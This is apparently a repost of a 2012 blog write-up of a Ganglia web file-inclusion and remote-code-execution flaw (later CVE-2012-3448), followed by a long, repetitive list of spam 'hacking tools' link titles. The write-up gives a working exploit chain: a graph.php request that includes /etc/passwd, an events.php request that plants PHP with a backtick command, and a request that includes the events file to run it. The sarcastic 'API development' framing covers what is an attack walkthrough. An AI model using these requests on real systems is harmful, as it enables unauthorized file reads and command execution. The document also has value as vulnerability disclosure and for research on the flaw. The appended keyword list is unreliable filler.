http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Continue reading
- Hacker Security Tools
- Pentest Tools Android
- Pentest Tools Android
- Hacking Tools Github
- Hacking Tools Software
- Hacker Tools Mac
- Pentest Tools Url Fuzzer
- Pentest Tools Linux
- Hack Tools 2019
- Hack Rom Tools
- Hacker Tools 2020
- Game Hacking
- Hacker Tools Free Download
- Pentest Tools Free
- How To Make Hacking Tools
- Pentest Tools Subdomain
- Pentest Tools Online
- Hacker Tools Free
- Hacker Security Tools
- Hack Tools For Mac
- Computer Hacker
- Hacking Tools Usb
- Github Hacking Tools
- Pentest Tools Free
- Hacker Tool Kit
- Hacker Tools Online
- Hacking Tools And Software
- Best Pentesting Tools 2018
- Hackrf Tools
- Hack Tools For Mac
- Hacker Tools For Pc
- Hacking Tools Github
- Pentest Reporting Tools
- Pentest Box Tools Download
- Hacker Tools Github
- Hacking Tools Online
- Hacker Tools 2019
- Hack App
- Hack Tools
- Hack Tool Apk
- What Is Hacking Tools
- Computer Hacker
- Hacker Search Tools
- Blackhat Hacker Tools
- Tools 4 Hack
- Hak5 Tools
- New Hacker Tools
- Hacking Tools For Mac
- Pentest Reporting Tools
- Game Hacking
- Hacker Tools List
- Hackers Toolbox
- Hacker Tool Kit
- Pentest Tools Subdomain
- Hack Website Online Tool
- Install Pentest Tools Ubuntu
- Hack Tools
- Github Hacking Tools
- Hacking Tools Windows
- Hacker Tools Mac
- Hacker Tools For Windows
- Hacking Tools 2019
- Pentest Tools Free
- Hacking Tools For Windows
- Hack Tools For Pc
- Pentest Reporting Tools
- Hack Tools Download
- Hacking Tools Online
- Pentest Tools Online
- Pentest Tools Tcp Port Scanner
- Hack Tools Download
- Hacking Tools Hardware
- Pentest Tools For Android
- Hack Tools
- Hack Tool Apk
- Hacking Tools Kit
- Pentest Tools Tcp Port Scanner
- Pentest Tools Download
- Ethical Hacker Tools
- Hackrf Tools
- Usb Pentest Tools
- Hack Tools For Windows
- Pentest Tools Tcp Port Scanner
- Pentest Tools Open Source
- Hack Tools Online
- Hack Tools
- Hackrf Tools
- Pentest Tools Online
- Hacking Tools Online
- Best Pentesting Tools 2018
- Pentest Tools Port Scanner
- Hacker Tools Github
- Kik Hack Tools
- Pentest Tools Apk
- Hack Apps
- Pentest Tools Apk
- Hak5 Tools
- Hack Tools For Games
- Hack Tools Download
- Tools For Hacker
- Hacking Tools Kit
- Pentest Box Tools Download
- Hacking Tools Free Download
- Android Hack Tools Github
- Hack Tools Github
- Pentest Tools Bluekeep
- Hacking Tools Software
- Hack Tool Apk
- Hacking Tools Software
- Hack Tools For Mac
- Hacking Tools For Windows Free Download
- Hacker Tools Software
- Pentest Tools Tcp Port Scanner
- Hack Tool Apk No Root
- Hacking Tools And Software
- Best Hacking Tools 2020
- Pentest Tools Tcp Port Scanner
- Pentest Tools Apk
- Hack Tools Online
- Pentest Tools Bluekeep
- Hackers Toolbox
- Wifi Hacker Tools For Windows
- Hacking Tools For Mac
- Hacker Tools Software
- Pentest Tools For Android
- What Is Hacking Tools
- Hacking Tools Name
- Hack Tools Mac
- Pentest Tools List
- Pentest Tools Review
- Hacker Security Tools
- Kik Hack Tools
- Hacker Security Tools
- Hacking Tools For Beginners
- Computer Hacker
- Nsa Hack Tools Download
- Hacker Tools
- Hacker Tools Online
No comments:
Post a Comment